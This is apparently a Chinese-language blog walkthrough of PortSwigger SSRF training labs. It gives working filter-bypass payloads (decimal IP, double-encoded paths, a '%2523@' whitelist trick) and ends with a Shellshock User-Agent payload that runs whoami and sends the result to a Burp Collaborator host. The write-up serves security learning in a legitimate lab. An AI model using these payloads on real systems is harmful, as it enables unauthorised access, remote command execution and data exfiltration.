目录
Portswigger web security academy:Server-side request forgery (SSRF)
题目描述
http://localhost/admin
并删除用户carlos
解题过程
寻找漏洞功能点
在商品详情页底部
很明显stockApi
是一个url-encode之后的url
访问/admin
发现删除carlos
的链接
删除carlos
/admin/delete?username=carlos
即可题目描述
192.168.0.x
网段的8080端口,寻找admin页面,并删除carlos
解题过程
相比上道题,只多了一个扫描,用intruder即可完成
直接抓包丢给intruder
网段范围0 - 255
发现admin页面
按照上道题,利用ssrf访问删除即可
题目描述
http://localhost/admin
并删除用户carlos
解题过程
寻找过滤关键字
127.0.0.1
localhost
admin
bypass
使用数字ip
127.0.0.1
转换为数字ip2130706433
url编码
通过http,接收后会自动decode一次,之后内部访问,会再次decode,所以可以两次编码
admin
转换为两次url编码%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
拼接:http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
访问http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlos
即可
题目描述
EXPERT
等级http://localhost/admin
并删除用户carlos
解题过程
先尝试数字ip
被告知url只能是指定站点stock.weliketoshop.net
尝试使用xip.io
绕过
发现仍然提示,只能访问指定站点
考虑到题目名是“基于白名单的输入过滤”,先手动测一下白名单内容
必须是http://stock.weliketoshop.net
开头,中间不能有其他字符
http://127.0.0.1@stock.weliketoshop.net:8080
可行 而 http://stock.weliketoshop.net:8080@127.0.0.1
不可行
而且http://stock.weliketoshop.net
这个域名没有注册,所以应该是正则匹配
推测正则
^http://([^\s]{1,}@){0,1}stock.weliketoshop.net(:\d)?(/[-./?%&=\w]*)?
去网上看了好多绕过的文章和姿势,都绕不过 = =
一度陷入自我怀疑
又看了下正则,我觉得可能的情况只有两种
尝试url跳转
尝试用@ HTTP基础验证
在这个正则下,只能是xxx@stock.weliketoshop.net
我第一个想到的是用#
锚,使得@stock.weliketoshop.net
失效
即http://127.0.0.1#@stock.weliketoshop.net
但是这样的话,锚会直接生效,会获取到错误的hostname
所以需要url-encode一次,使得接收到时#
为url编码,检查通过后向内网发起请求时才是#
即http://127.0.0.1%23@stock.weliketoshop.net
(这一步我脑子瓦特了,因为#
作为url关键字,本身就会被编码一次,即:#
在url里发送出去就是%23
)
所以应该是http://127.0.0.1%2523@stock.weliketoshop.net
(啊啊啊啊啊,我上面尝试失败后就去看solution了,然后被气死)
剩下的就和之前的方法一样
题目描述
http://192.168.0.12:8080/admin
并删除用户carlos
解题过程
寻找重定向接口
在商品详情的翻页中找到一个比较像的
测试接口
stockApi=/product/nextProduct?path=/
看起来有点像302.php
,直接location跳转,但是不会跟踪跳转,所以需要一个接口去访问这个跳转页面,用之前的checkStock
即可
题目描述
referer
collaborator
的HTTP请求解题过程
直接把Referer
改成collaborator
的url即可
这道题感觉莫名其妙,没有获取任何数据或者执行任何动作,不过倒是想知道这个分析软件的源码(x 打开下道题就不觉得莫名其妙了
题目描述
referer
192.168.0.x
中的一个存活主机,使用Shellshock
的payload攻击该存活主机,并利用collaborator
获取用户名解题过程
先去搜了下Shellshock
CVE-2014-6271
破壳漏洞(bash的一个漏洞)
这篇文章 写的很清楚
节选部分
POC : env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
env : 设置环境变量后执行程序 bash -c : 启动一个新的Bash , 然后执行后面的命令 . 只有子进程开启时才会其解析环境变量中函数的定义
通过
bash -c
开启当前 Bash 的子进程 , 在子进程载入时会初始化用户环境变量 , 在初始化时发现了包含 "() {
" 格式的字符串 , 所以将该字符串作为一个自动导入函数 . 但由于没有判断函数定义的结束 , 所以错误的将该函数定义后的语句也初始化并当作命令执行了 . 所以子 Bash 会执行该语句并输出vulnerable
, 然后再输出this is a test
.简单的说 , 就是将恶意命令添加到合法的Bash函数定义后 , 在启动子进程时 , Bash 会先执行恶意命令 , 然后再执行正常的指令 .
按照上道题,测试漏洞点
gopher
,但是尝试过不成功看了下solution,意思是把目标主机URL
放在Referer
,payload
放在UA
里
先试试
payload:() { :;};curl http://i3mquc43cvfw1xn69b2tpc93fulw9l.burpcollaborator.net/`whoami`
成功了
也就是说,分析功能在访问Referer
的同时,会带上原本的User-Agent
。。。这是什么思路,自己给自己刷流量吗 = = ,个人感觉考gopher会好一点
手机扫一扫
移动阅读更方便
你可能感兴趣的文章